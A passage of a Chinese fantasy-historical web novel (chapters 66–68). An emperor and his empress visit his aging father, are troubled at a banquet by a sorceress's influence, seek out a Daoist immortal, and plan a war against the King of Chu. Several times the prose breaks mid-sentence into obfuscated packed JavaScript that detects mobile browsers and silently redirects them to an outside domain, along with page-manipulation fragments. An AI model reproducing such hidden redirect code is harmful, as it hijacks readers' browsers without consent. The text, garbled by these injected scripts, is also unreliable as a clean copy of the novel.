l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680231|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小步跑了过去。 “爹!我回来了!”姚复拎着衣摆,往门边走去,一把扶住了站起身来快步来迎接的姚老头。 几年不见,他更显老态了。姚复忍不住眼眶发酸,忽而从脑海中唤起了早逝母亲的脸。也许要不了多久,他的父亲也要辞别人世了。 姚老头瞳孔失焦很是严重了,看花如隔雾,依稀也只能看清姚复摇动的深红色衣摆。 也许是血缘相切,他一眼就能认出来亲儿子,于是贴在姚复耳边高声问:“从长安来?” 几乎是用吼的,大约是家里人平日都这么对他说话。姚复本先还当是什么悄悄话,现下只觉得一边耳朵几乎聋了,他揉揉耳朵撤开一点,无奈笑笑:“从幽州来,带了夫人来看你。” “你说什么?”姚老头迷茫地盯着他的右手,大声问道。 姚老头果真是老了。姚复心中一片凄凉,只好抬高音量:“我说,我带了夫人来!” “虾仁?”姚老头瞪圆了眼睛,连连摆手,“不要不要,上次送来的没吃完。” 姚复揉揉眉心,苦恼如何与父亲沟通,总不能再抬高音量,应瑕还在车里——她方才在路上睡着了,也不知这一会儿醒了没,总不能再把她吵醒。一路舟车劳顿的,本来就够疲惫了。 “父亲,大哥在家吗?”姚复皱着眉看着高高的院墙,试着问姚老头。 姚老头似乎没听清,也没看见姚复言语的动作,不为所动。 姚复只好上前敲了门,来开门的是个年轻妇人,姚复并不认识,那女人也不认识他,两人四目相对满是警惕,那女子率先开了口:“公子贵姓?来找谁?” 那女子中人之姿,长相清秀可人,姚复反反复复上上下下看了她几遍,确定自己完全不认识,这女子与大嫂二嫂也没什么相似之处——而当初他离开家的时候三哥还没成婚。 “那是我爹。”姚复指指一边的姚老头,暗示了一下自己的身份,随后有些不确定地问:“夫人是老三的妻子?” 女子一开始想反驳——她认得与姚老头住在一起的三个儿子,忽而又想到小叔子在长安称了帝,马上又诚惶诚恐地拎着裙子打算跪下:“民女见过陛下。” 姚复扶了她一把,偷偷瞄了姚老头一眼,确保他没有看见,方才说道:“嫂子不必多礼。咱们在这儿不好和父亲说话,能把他劝进去吗?皇后还在车里睡觉呢。” “爹,皇后来了,快进屋洗把脸!”三嫂忽然朝着姚老头喊了一声,声音不大不小。 这个音量姚老头应当是听不见的,可他却偏偏站了起来,颤颤巍巍往门里走,一边推了姚复一把:“你也不早说!害的你老子我什么也没准备!” 他一进了门便马上被下人扶走了,喊声逐渐远去,姚复有些无奈地看了三嫂一眼:“这又是怎么回事?” 三夫人含蓄一笑,说道:“陛下有所不知,爹身子弱了,又染了一次疫病,高烧了几日,醒来后脑子也糊涂了,日日只念叨着陛下和殿下。” “唉,人老了都这样。”姚复蹙起眉头,叹了口气,他这些年来忙于征战,没注意过父亲什么状态,好在日后来得及弥补。 “三嫂先去通知家里人吧,我在外面等皇后睡醒。”姚复远远看了一眼马车,眼中也带上柔情。 姚老头塑造了他人生的前二十年,应瑕则会照亮他的后半生。 66. 第66章 “不必等了。”应瑕掀开车帘,施施然走下来。 早在姚老头喊出第一声的时候,车上的应瑕就惊醒了,不过一直在车上闭目养神,没有动作罢了。 她在车上捋了一遍近日来的种种异常,其中都与碧姬有千丝万缕的关系,直觉是碧姬种下的那只蛊虫侵蚀了她的神魂—— 而碧姬生性并不坏,这么一说,似乎那些异常都能解释的通了。 三夫人看着应瑕,微微愣了一下,或许是感叹她的美貌,或许是膜拜她的气度。很快她福身匆匆行礼,便进了院子。 “走吧。”应瑕揣着手走到姚复面前,自若地看着院子里的景致。 还没等姚复发话,她便率先进了院子。 家里的兄嫂侄子都是拿好奇的眼光打量着她,行礼被制止后又满怀敬畏地退开准备筵席。 应瑕倒是不在乎,只是姚复对他们疏远的态度有些不满。 可惜出走近十年回家还是稚子,即便成了天底下最尊贵的人,也难以反抗父兄的压制。 只能看着应瑕反客为主,在里头旁若无人地到处游赏,仿佛她才是这一方院落最高的主宰。 姚老头换了一身干净又神气的红色袍子,跟姚复身上的一个颜色,由下人扶着,对着应瑕喊:“丫头,站远一点!” 应瑕负手抬头,不明所以,但还是后退了几步。 “再远点!” “再远点!” …… 应瑕一直退到门外几尺的距离,才听得一声大喝:“好了!真是个标致的姑娘!快进来罢!” 院里隐约传来几声轻笑。 姚老头确实是糊涂了,连进入幻境的前后过往大约都记不清了,只是好在现世的他只显了老态,不至于痴傻。 应瑕叹了口气,抬脚再度跨进门槛。 她今日穿的一袭白衣,不是往日的裙子,倒是男装的样式,头发也是半束,显得英姿飒爽。 姚老头兴许对她的脸印象很是深刻,也没把她认成男子。 这院子人手不太足够,于是姚复的大哥二哥帮忙去杀猪宰羊,三哥倒是笑着和他寒暄了几句,说他实在不如当初稚气可爱;三个夫人拉着应瑕进了里头喝茶,只是各不言语,像是对应瑕冷冽的神色有些畏惧。 既是皇帝,又是娇儿,姚复自然不必跟着兄弟们和下人们准备宴席去,便和四位夫人坐在了一起。 “二位嫂子,别来无恙啊。”姚复笑着探进半边身子,冲着大夫人和二夫人挥挥手,随后强从门缝里挤了进来,坐在了应瑕身边。 三夫人明显不想和她亲近,坐的远远的,正好留了空位。 大夫人放下茶杯,宽和地笑起来:“三叔说小叔不复当初稚气,妾身看还是一般无二。这脾性,倒不像个帝王!” 二夫人也端着茶盘,半带嗔怨地驳了大夫人一句:“陛下这叫随和亲民,嫂子一个乡野村妇,当真什么不懂。” “行了行了,别吵了。”姚复摆手制住要开口说话的三夫人,夺过应瑕手中的茶水,脸上还含着笑意,“嫂嫂们,珠英爱酒不爱茶,今后再有这附庸风雅的事,可别叫上她。” 应瑕瞪了他一眼,自顾自从盘子里拿起一块糕点来吃。 三夫人似乎收敛了那敬畏,满怀期冀地上前问道:“殿下,这点心好吃吗?” 应瑕咽下口中糕点,不明所以地看向三夫人,随后拍拍手上的渣滓,把盘子推到她面前:“还行。你要吃吗?” “唉,”三夫人失望地叹了口气,“妾身回去再……” 姚复忽然揽过应瑕的肩,偏头打断三夫人的话:“诸位嫂子有所不知,珠英在朝中军中都雷厉风行,苛刻惯了,一时也改不过来。她能说还行,就说明这东西不错。” “不过……”姚复看了看那糕点,又看看三夫人,“贵为皇亲国戚,又是正夫人,嫂嫂们便不必时常亲自下厨了,女子还是学文习武的好,日后几个侄女也要请师傅来学武艺的。” 应瑕文韬武略样样精通,她似乎是世间女子一切不可能的化身——哪有什么不可能,一切都是可能的。 女子不必饱读诗书、上阵杀敌,可姚复觉得应瑕应当不希望看到这些场景。应瑕是一等一的奇女子,天下女子也能像她一样。 应瑕也是女子,她明白自己的苦处,姚复明白女子的苦处,只希望能让她摆脱这些暗淡的寒光——哪怕她从来潇洒。 而这个史无前例的改革的开端,在自己家是最好不过的。 三个夫人都怔愣了一下,旋即不可思议地交换了几个眼神,一致认为皇帝疯了。最终是将姚复几乎一手带大的大夫人蹙眉道:“陛下,世间重男不重女乃是常情,若让女子习文学武,岂不……” “怎么?”姚复表情没什么变化,只是眼中的和光消散,发着阵阵冷意,连声音也都多了几分寒凉。 他早就不是在家宅庇护下的雏鸟了,杀伐果决冷厉无情早就深深刻进了血脉。不管是当初给屈郢透露消息的细作,还是曾经生死与共谈笑风生的功臣,姚复都能面不改色地处决。 大夫人恍然惊觉他们地位翻天覆地的变化,立时垂下睫毛,掩盖住眸中的惊惧,但还是强作随和地说道:“无碍,妾身只是觉得……此事需要徐徐图之,切不可操之过急。” “这个嘛……大嫂就不用管了。”姚复脸上恢复了温和的笑靥,旋即话锋一转,“长嫂待我如母,我也为嫂子带了些礼物过来——大家一定会满意的。” “哎哟,小叔这话说的,无非是些金银珠宝,难不成还是诰命么?”二夫人马上接话,打破了屋内的寂静,她伸手想拿块糕点来,却一摸了个空,抬头一看,应瑕手上正拿着最后一块。 应瑕见她伸手摸糕点,连忙把最后一块塞进了嘴里。 “抱歉,二嫂。一路舟车劳顿的,我太饿了。”应瑕面无表情地抬眼看向大夫人,还收敛了那身威严如凤冷冽如冰的气质。 大夫人有些埋怨地看了姚复一眼:“陛下在启封时就花名在外,势大的时候更是传的沸沸扬扬。可这俗话说糟糠之妻不下堂,弟妹跟着陛下千里迢迢从幽州回长沙,难不成连顿饱饭都吃不上?” “怎么可能!我自己饿着也让她吃饱的!”姚复连忙反驳,可一想应瑕先前在长安吃的人,又想起来在幽州时——他脸色顿时红一阵青一阵,竟是什么也说不出来,只好拽了拽应瑕的胳膊。 应瑕郑重点点头,随后说道:“兴许是我胃口大。上场打仗时粮草不足也是常有的事。” 三位夫人又齐齐看向姚复,三双漂亮的眼写着同样的不可置信:你让妻子上场打仗不说,还克扣军粮? 姚复有冤也说不出来。应瑕有时候心情一般,就会耍小性子,开始胡说八道,一般来说中枪的都是姚复。 也不知道今天哪里又惹了这尊大佛不高兴。 恰巧有下人来敲了大门,那婢女在门口喊到:“陛下、殿下、夫人们,马上就要开宴了,要到前厅去么?” 姚复如释重负,连忙站起身来,俯首看着应瑕,咬牙说道:“走吧,珠英,筵席上吃的管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694203|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够。不够了把我也吃了助助兴。” “哼。”应瑕冷哼一声,站起身来,率先出了门。 姚复虽然不怎么来看老爹,但下发的赏赐一批接着一批,从来没短过,厨子婢女也是一批一批往家里送,这筵席自然也是规模宏大。 摆了能容纳十几人的长桌子,几十道不同的菜肴错落摆放在桌上,看的姚复都不禁咋舌。 不过是家宴,弄的跟皇宫里的夜宴一样。 “这挺奢侈啊。”姚复拉着应瑕施施然入座,看着桌子中间摆着的尺长的烧鲤鱼笑着调侃一句。 姚老头坐在主位上,乐呵呵夹了一筷子肉,忽而问姚复:“咱们这可是照着夜宴的标准做的。怎么,浔儿没来?” 姚复寻思着也没定过夜宴标准,前朝的皇宫又一把火烧了干净,谁也不知道从前的宫宴什么样——正待开口询问,又听到姚老头说什么浔儿,他记得明明白白,几个侄子侄女里没有一个与“寻”同音的。 “什么浔儿?”姚复皱着眉抬头去问姚老头。 他的几个兄弟脸色都不怎么好看,三位夫人也是好奇地看着家主,偏偏姚老头还自顾自夹着菜,并不做回答。小小一方屋子几乎落针可闻,应瑕的手在桌子底下攥紧拳头,复又松开。 她抬起眼睛,锐利的目光在屋里逡巡一圈,冷声说:“父亲年迈,想来记不清楚事情了。诸位兄嫂还是要精心照料的好。” “或许是谁家孩子叫浔儿吧,就这么让爹记住了。”姚复摇摇头,夹起一块羊肉,吃下后又对应瑕说,“你多吃点,刚还饿呢。羊肉不错。” 屋里气氛再度活络起来。 酒水供应不是很足,到了餐食吃了一半才送上来,姚复连忙接过整一坛酒,借着酒坛挡着脸,对应瑕说:“放开吃喝,最后给下人们剩下几盘荤菜就好了。” “我知道。”应瑕把酒坛子从桌上拿下来,放在地上。 她又不是没办过夜宴,桌上吃不完的向来丢掉,只吃了一两口的全都会赏给下人们,也算犒劳他们日夜操劳。这些事倒也不必姚复格外强调。 大家不约而同止住了筷子,等着下人把餐饭撤走。 “我敬陛下一杯——”大哥猛然站起来,朝着姚复敬酒。 姚复连忙站起身来,端起应瑕的杯子去回敬,惹的后者不满地蹙眉。 姚复的话还没出口,抱着酒杯的姚老头又开了口:“把浔儿抱过来!把他抱过来!” 大哥的酒杯咔嚓落了地,铜杯子在地上滚了几圈,酒液洒了大夫人一身。 “浔儿浔儿,浔儿谁啊!”姚复不满地坐下来,“到底哪家孩子?能比亲孙子还亲?” 桌上的侄子侄女们不知为何都没吵闹,一个个噤若寒蝉,你看看我我看看你,都没想起来谁的玩伴叫做浔儿。 “怎么说话呢!”姚老头似乎是听清了这句话,猛的拿筷子敲了敲桌子沿,“你儿子都不抱过来,还敢指责起我来了?” “我哪有儿子!”姚复心中烦闷,满脸惊怒地反驳,“您真是老糊涂了!” “别吵了。”应瑕把筷子拍在桌上,下了定论。她皱着眉看向这对父子,姚复和姚老头身上都缠着发丝一样的黑雾,尤其是姚老头身上—— 又是碧姬。 她想借着姚老头之口,让姚复想起太子来。 杀不了他,就想让他想起来那些往事? 也是够聪明。 “爹大约是想让我们儿子叫姚浔。”应瑕覆住姚复的手背,低声提醒,果然见那缕黑雾果然消散了。 67. 第67章 “不说这个了。”姚复仍是不怎么高兴,但他照样从袖子里拿出来了要送给家里人的大礼。 那是一卷纸,准确的说,应当算是圣旨——不过是他没有明黄的绢布,也没名贵的宣纸,只好暂时拿军中用的信纸写了。 应瑕无奈地夺过信纸,抬眼问了一圈:“谁识字?” 家仆和婢女们面面相觑,半晌才有一个丫鬟自告奋勇上前,福身行礼:“殿下,奴婢略识一些。” “念。”应瑕轻轻晃着酒杯,面不改色道。 “诺。”婢女再次福身行礼,轻轻展开纸张,开始念道:“朕感太上皇及兄嫂之恩,特封夫人各为诰命,赐绫罗锦缎各百匹、金银五万,以弥补七年间对父兄亏欠。” 应瑕眉心狠狠一跳,狠狠拧了一把姚复:“你会写诏书么!” “嘶……”姚复脸色扭曲起来,又马上恢复如常,他咬牙说:“……谁不是第一次当皇帝?” 应瑕把他拉起来,往外走去,自若地说:“我们先告辞了。我素来喜爱清静,便不在这里住了。” 小孩子也太吵闹,应瑕也不想理睬三位夫人对她的试探。 人多了总会这样,免不了勾心斗角。 碧姬几乎是无孔不入,虽说在仙人脚下,也还是离姚老头远一点保险些。 “你不喜欢他们啊。”姚复坐上马车,转过眼睛去看应瑕,虽是含着几分笑意,眼中却夹杂着神伤。 应瑕感到有一根小刺扎入了心脏,不痛不痒,但格外难受。她垂下眼眸,不去看姚复,只说:“不。我其实很喜欢他们。我只是……一时受不了。” 其实也没什么勾心斗角,三位夫人都很宽和热情,也许是应瑕天性凉薄,又也许是她习惯了身居高位,一时难以接受人间五味。 “你从前……与家里人关系不好?”姚复自觉失言,敏锐的感受到应瑕的语气好像不太对劲,便凑上前,小心翼翼地问了一句。 姚复只知应瑕来自千年前的异世,她的名姓样貌与现下别无二致,只是对于她的前尘过往一概不知,现在想来怕是充斥着铁锈血腥。 “嗯。”应瑕忽然抬起头,似乎想起了往事,只是语气平淡,好像事不关己。 “我出生在天外之天。” 天外之天,天君的住所,那里有八十二座白玉做的城池,到处龙盘凤舞,麒麟踏浪,是实打实的仙界。 应瑕和应瑜就出生在其中一座城池。 他们的父亲杀蚩尤、斩夸父,划三江、分九州,又接乘黄帝登仙,是天外天的大功臣,连天君也极富溢美之词,赏赐如同天河里的流水,后浪接前浪,不断进入应龙的住所。 一旦得到了无上的荣宠和倾绝的富贵,人就会愈发骄奢淫逸。 应龙自以为万世无忧,旋即纳了几十房娇妻美妾,给应瑜和应瑕添了数百个弟妹,至于糟糠之妻——则是一杯毒酒,送进了天河。 “此后的几百年,我和应瑜杀了四百四十二个兄弟姐妹,还有一个送到了天君的床上,有了两个主事的星君。”应瑕笑了笑,那双美丽的瞳孔中满是狠厉与嗜血,“父亲想杀了我们,那又如何。” 还没等他们兄妹筹谋着杀掉父亲——弑父在人间是大逆不道,可惜在弱肉强食的天外天屡见不鲜——应龙就因为一个无足轻重的小错被流放到了灵山,貌似是因为治水一事处理不够及时,害的大禹的妻子涂山氏成了石头。 那次天君处决掉天庭上不少神仙呢。 不过应龙仍然没意识到天君一开始的计策不过是捧杀。 战争猝然打响,蚩尤之后,碧姬之祖——巫族新的大帝悍然发兵,攻入了灵山。 应瑕冷眼旁观,看着自己的父亲死于战火,方才披甲上马,帮自己的兄弟稳定根基。 随后她就到了十五岁的应瑕身体里。 “只可惜……”应瑕有些意犹未尽地咋咋舌,“还没来得及巩固声望,再逼宫取下那龙王之位,再提剑杀上天外天。” 姚复眨眨眼,抓住应瑕的手:“左右都过去了。不过我倒是没听说过这些——黄帝和大禹的故事我倒是知道。” “佛家说:‘三千世界’,这是没错的。”应瑕笑着转头,与姚复对视:“三千世界,各不相同。从大禹之后,有的时候是启继位,有的又是伯益……有时候启杀了伯益,有时候又是别人杀了启——从那时开始,就有了无数个时空。” “也许是有三千红尘,可是在茫茫人海间,我想不论什么身份,总会遇到你。”姚复坐直身子,虔诚又小心地举着她的手,“不论是繁华盛世、战火硝烟,不论是天潢贵胄、市侩小民,我愿意永远把心交给你。” “你可以放下不堪的过去,横竖再也不必面对;你也可以把血泪的历史悬挂于心,永远作为人生的警醒。”姚复顿了顿,接着说,“我不会因为你的过去与你心生芥蒂。如果……你实在不能接受家人,每个月我例行给父亲请安时,你在宫里就好。我可以从宗室里过继一个孩子做太子……” 应瑕忽而笑了出来,她坐直身子,以袖掩唇,无声的笑着,一双瑞凤眼满怀欢喜地看着姚复:“你愿意送我一件礼物吗?” 姚复没想到她突然换了话题,但只是微微愣了一瞬,便信誓旦旦地保证:“当然没问题!你想要什么?作为我的皇后,只要不是天上日月星辰,我都可以给你弄过来。” “我要明年榴花开遍的时节,见到楚王的项上人头。”她眼中的欣悦倏而变成了剑刃般的冰冷无情。 姚复收敛起笑容,神色凝重起来,郑重说道:“好。” 应瑕转过身子,敲敲车窗,又探出半个脑袋,对车夫说:“到大王庙去。” 每次回长沙,姚复总要去大王庙看看的。 他明明不信这些虚头巴脑的东西,却总要去求个好彩头,也不知道是出于什么心理。 “去那儿干什么?”姚复抱胸斜眼瞧了应瑕一眼,“又破又烂,不如找那什么须弥芥子去啊。” 车夫正欲驾马,听到皇帝和皇后在车上意见不一,只好又放下了缰绳,等着这两人商量出一个最终的目的地去。现下天都黑了,寒冬腊月的,晚上是又湿又冷,要不是车上坐的是天下最强权的两个人,谁愿意大晚上还拉车。 “她好像住在山上吧。”应瑕略微思忖一下,“很远啊。” “可是我们总不能在庙里过夜。” “嘶……我想想她住在哪座山上。” …… 车夫坐在前面,百无聊赖地听着他们争执了一会儿,终于被结论叫回神魂:“到云母山去!” “长沙云母,服之长生。” 《列仙传》所云的云母山云母石,传的神乎其神,引得修道者争而食之,只可惜不过是些普通石头。 想来须弥芥子也是借了云母山的大名,堂而皇之占了山头隐居于此了。 车夫虽说面上不说什么,心里早骂开了车里的贵人——云母山离这里有几十里,更深露重的,顶着寒风往山上去,也不知道这两人怎么想的。 姚复下车的时候多给了车夫几两银子,方才扶着应瑕下了车。 云母山不算很高,今夜虽不是满月,月光也算清明,山上还有环路,上山不算难事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694204|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她到底住哪啊?!” 姚复站在山顶上光秃秃的一处空地上,有些崩溃地喊道。只剩这一块空地,四周不是山林就是两人高的野草,已经到了路途尽头。 “道观不在山脚,不在山腰,也不在山顶,到底在哪啊?!” 上山不难,下山也不难,从白云深处找到一方道观难。 他们两个人上上下下沿着山路走了三四遍,硬是找不到须弥芥子的一方小院。 应瑕实在困的受不了,干脆就近坐到一块石头上开始打盹,等着什么时候姚复想到解决办法,或是须弥芥子感知到他们的气息来找人再说。 姚复也坐在地上,愤愤抓起一块石头,掷向前方的山路。 石子落在一双皂靴前,来人抬眼看了看这两人,终于没略过去。 来人走到姚复面前,并不带什么感情地问:“二位在此处有何要事?” 姚复只觉有人挡住了月光,缓缓抬起眼睛,便见了李尘生那张清绝脱俗的脸,登时差点被自己的口水呛到,他连忙站起身,几乎是不可置信地问:“你怎么在这儿?” “在下要回师门去。若二位需要什么帮助,在下也能倾囊相助。”李尘生很是平静地回答,旋即话锋一转,“不过……” 李尘生微微顿了一下,方才说道:“阁下若是也来求云母,那便——恕难从命了。” 姚复心下一喜,想必李尘生也是须弥芥子的门人,那定然是认得山路的。可欣喜之余又有些忧愁,上次虽说有一面之缘,这个江湖游侠竟过了短短几个月就把他们夫妻忘的一干二净,也不知还好不好继续说话。 最终他还是背着手,轻咳了两声,才说道:“我和夫人听说山上有仙人,这更深露重的,打算来借宿一晚。” “丑时一刻。”李尘生抬头看了一眼月亮,说道,“二位跟我走吧。” 接着他往前两步,抽出长剑,一剑砍断了不远处一簇两人高的野草,硬生生在山林中开出另一条路来。 应瑕那一点潦倒的困意被剑鸣声击散,她轻盈的跳下石头,拉了一下姚复的手指:“走吧……” 她打了个哈欠,显然是没睡够。 “你要是想睡,我背着你便是。”姚复叹了口气说道,在她面前蹲下身子。 已经很晚了,她想睡也是正常。 感受到身上的重量后,姚复赶紧站起身子,快步追上了李尘生的步子。 野草尽头,是一座别致的小院,不过已经荒芜的不成样子了,玄衣白发的仙人沐浴着月光,正在院中闭目养神。 李尘生收剑入鞘,推开那扇嘎吱作响的小门。 姚复顾不得作揖行礼,跟着李尘生的步子进了那偏僻的小院。 只在踏入那小门的瞬间,整个云母山好像拔高了近千丈,从门口能一直看到通天的云梯,几乎俯瞰整个长沙城。连荒芜的院子也彻底换了个模样,杂草丛生的地面瞬间变成了青石地板,青墙黛瓦向四周扩展,错落别致的宫殿如雨后春笋从地上冒出来,一口大钟也忽然出现,悬挂在仙子背后。 别致小院成了囊括整个山头的巨大道观。 须弥芥子施施然从地上站起来,随手指向远处一个房间:“想来二位一路舟车劳顿,便住在那里吧。” “多谢仙子。”姚复忙不迭背着应瑕往那边的房间走去。 须弥芥子含着笑,看着姚复关上了房门,才对李尘生说:“你不要像你师兄一样,掺合朝堂上的事情,到头来身家性命都要假以人手。” 李尘生垂下眼睑,手指按紧剑柄:“玉墀谨记师父教诲。” 68. 第68章 山上的日出总要比人间早一些。 晨光熹微之时应瑕就起了——毕竟她昨日里在车上睡了一觉,又在山石上睡了一会儿,也没怎么奔波劳累,倒是姚复被折腾惨了。 应瑕穿上鞋子,把被角往上提了一点,便推门出去了。 太阳正升上山巅,第一声鸡鸣从天角传来,夜间停在屋脊上的鵩鸟振翅飞回林间—— 翅羽低低略过仙人草草束起的发髻,须弥芥子抱着拂尘,脚步停在台阶下,她不卑不亢地仰视着皇后,平和如水地问道:“不知殿下可愿意移步再叙?” 应瑕连忙下了台阶,压着声音问:“您都知道了?” 须弥芥子点点头,又摇摇头:“卦象如是说。” “行。”应瑕又登上台阶,把门合紧,方才又跳下台阶,向须弥芥子作揖,“劳烦仙子。” 须弥芥子也抱着拂尘向她作揖,旋即转身抬脚往大堂去了。 她步伐轻盈,好似天边的一片云彩,又像幼时在天外天见到的白鹤。只须拂一拂衣袖,便能拨开滚滚红尘,寻得道心所在。 大堂里装潢也是素雅,摆放的物品也不多,仅有一面屏风、一张小案,似乎只够两人推心置腹地谈话。 李尘生将茶水摆在桌上,便出去了。 “殿下,请入座吧。”须弥芥子微微笑着,拂尘从茶杯上空略过。 应瑕拎着衣摆,现行入了座,只是抱着杯子,有些担忧地说:“那仙子应当也知道碧姬的事了吧。” “圣女想必已经被那蛊虫蚕食了心智。楚王大肆炼制肉尸——即便只是些虚假的浮尘,也还是……”须弥芥子抱着茶杯抿了一口,淡然说道,“殿下不必忧心,无论过程怎么更改,天命总是注定的。” 应瑕的手指捏紧了杯子,她抿唇蹙眉看着茶水里漂浮的松针,最终还是放不下疑虑:“您真的不能把她解决掉?” 须弥芥子摇摇头:“我为我,我亦非我。殿下只管解决掉楚王,碧姬的事自有人去管。” “她在影响所有人!”应瑕忽而有些失态地喊了出来,“抱歉,我失礼了。她在想方设法告知陛下现世之事,虽然现在还没有什么影响,可潜移默化之下,陛下迟早想起来。” “况且她的影响越来越大,我怕在捉到楚王之前陛下就会全想起来。” 应瑕放下杯子,苦恼地揉着眉心。 这天底下能躲避碧姬影响的那一方净土,或许只有在这躲在云母山外表下的桃都山上。 “陛下才是幻境的主宰,碧姬不能……” 姚复把脸贴在门缝上,二人谈话的声音渐行渐远,一个狰狞可怖的真相缓缓浮现在心中。 如果说应瑕所说的幻境是真实存在的,那么他现在身处的世界是假的,真正的现实极有可能已经尘埃落定了—— 而且现世与幻境中发生的事情也有所不同,他也没有任何关于现世的记忆。 至于引子——姚复忽然想起了汝阴宴会上恍然一见的女子,她往酒里下了东西。 这段记忆也许并非幻觉,而是属于现世。 姚复不敢再深思,只好倚在门板上,有些烦躁又有些郁闷地叹了口气。 应瑕推门出来时恰见到姚复站在门口,心里一沉,只得佯装镇定:“你什么时候站在这儿的?” “刚睡醒。这不前脚到了后脚你就出来了。”姚复背着手,偏头笑嘻嘻看向应瑕。 眼下他不能直接问这些东西,应瑕肯定不会跟他说,甚至有可能徒增恐慌。 应瑕以为是李尘生把他带到这里来的,心中有些懊悔,方才离开时没把门从外面闩上,竟让他跑到这里来,好在他应当没听到什么东西。 “我们快下山去吧。”姚复仍是微微笑着,“得马上开始打仗了。现在已经寒月了,我可是答应你来年五月要把楚王的项上人头呈上来呢。” 应瑕微微愣了一下,旋即一笑,说:“好,我们下山。” 发兵的军令很快传到了将士们手中,除了解斛珠和银杏二人还在天水守城迎击卷土重来的匈奴,其他人都借了道回了长沙。 只是等离得最远的解臻回来时,冬月已经将要过完了,山茶花整朵整朵从枝头跌落,应瑕养在行宫里的水仙全都冒了花骨朵。 姚复还是没找到足够的下人,只从饭馆里花钱聘请了许多厨子,勉强给大家做了接风宴。 韩玉笙在南海采珠几个月,据说与采珠奴同吃同住,在海水里泡了几个月,皮肤虽说依然白皙,却已经失了当年世家公子的翩翩风度。许是与珠奴感同身受,宴饮还未过半,他便贸然开了口:“陛下,臣有本要奏。” 席间众人不约而同停了杯子,新涂放下酒杯,打趣道:“你一个武将,有什么本要奏?” “自然不比新将军宽裕。”韩玉笙苦笑一下,接过李小姐从袖中掏出来的奏折,“陛下,臣要说的是南海珠奴的事情。” 姚复放下筷子,接过那文书,脸上带着笑意,一边下手展开:“我倒要看看你一个世家公子出身的莽撞武将能知道什么民间疾苦。” 韩玉笙不过是被罚去采珠还债——他征收南珠又压低市价导致合浦郡严重的赤字,不过是让他在那儿采珠子,打仗了姚复还会把他想起来捞上岸,熬一熬总会出头。 可那些原本就扎根在合浦郡的采珠奴不一样。 韩玉笙发现他们被地方官兵驱使着采珠,每个月每个人要采到额定的珠子——这已经算很宽松的,有的珠场每日都要清点奴隶采上来的珠子,采不到珠子,奴隶就会受罚。 可在深海下采珠谈何容易。 “这奏折文采飞扬,不像是你能写出来的。”姚复把文书笑着扣在桌上,“想来你为此事筹谋很久了。明日便让丞相制令,令珠奴脱离贱籍,等拿下楚王,你亲自去督工。” 韩玉笙有些不好意思地笑了笑,随后推脱了督工一事:“多谢陛下恩准此事。不过臣一介武夫,实在无法胜任督工,只能请陛下另寻高见。” 觥筹交错之间笑闹声不绝于耳,韩玉笙被按着灌了不少酒,应瑕见这群人又有上头的样子,姚复在军中饮酒不多,便不动声色地扣下了他的杯子。 “我只当现下的世道已经没有奴隶了……”解臻有些感叹地说道,“先前读了春秋,只觉柳下跖所作所为是大义之举,还当灭绝了奴隶之制。即便现下仍有奴仆存世,也不至于像南海珠奴一般。” 姚复撑着手肘,也有些黯然地垂眸笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694205|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了笑,终于接了话:“奴隶之制确实已经消亡了,只是枷锁永远埋在人心里罢了。” 奴隶制对一个皇帝是有利的,可是姚复不可能忘掉自己布衣出身。 法令的条条框框能够让社会运行更为有条不紊,而陈旧的枷锁总会阻碍前进的脚步。 皇帝规束臣子、法律规束黎民,这是时代的要求;春秋时奴隶主约束奴隶,也是时代的要求。 从前无法改变的,现在可以改变;现在无法改变的,未来总会改变。 “好了,跑题了。”姚复轻轻咳了一声,把话题拉回正规,“楚王麾下空虚,我们要在三个月之内拿下他。免得他养精蓄锐东山再起。” “臣据营在燕地,可以从北方攻克。”解臻放下杯子,想到自己到长沙之前临时把营地扎在了冀州,略微思忖便开了口。 新涂稍微顿了一下,说道:“那臣从赣州进发。” “那你从岭南去打罢。”姚复拿起筷子,似笑非笑地看了一眼韩玉笙。 李小姐连忙掐了韩玉笙一把,韩玉笙才恍然回过神:“陛下,能给我批一艘船吗?” “你想干什么?”姚复把白瓷小碟放回桌上,有些震惊地问。 一艘船不是用来捕鱼就是出海,近年来没听说过乘船打仗的——上一个这么干的人应当是吴王夫差,浩浩荡荡的战船遮天蔽日,却还是以楼船“余皇”被包围后惨败而归告终。 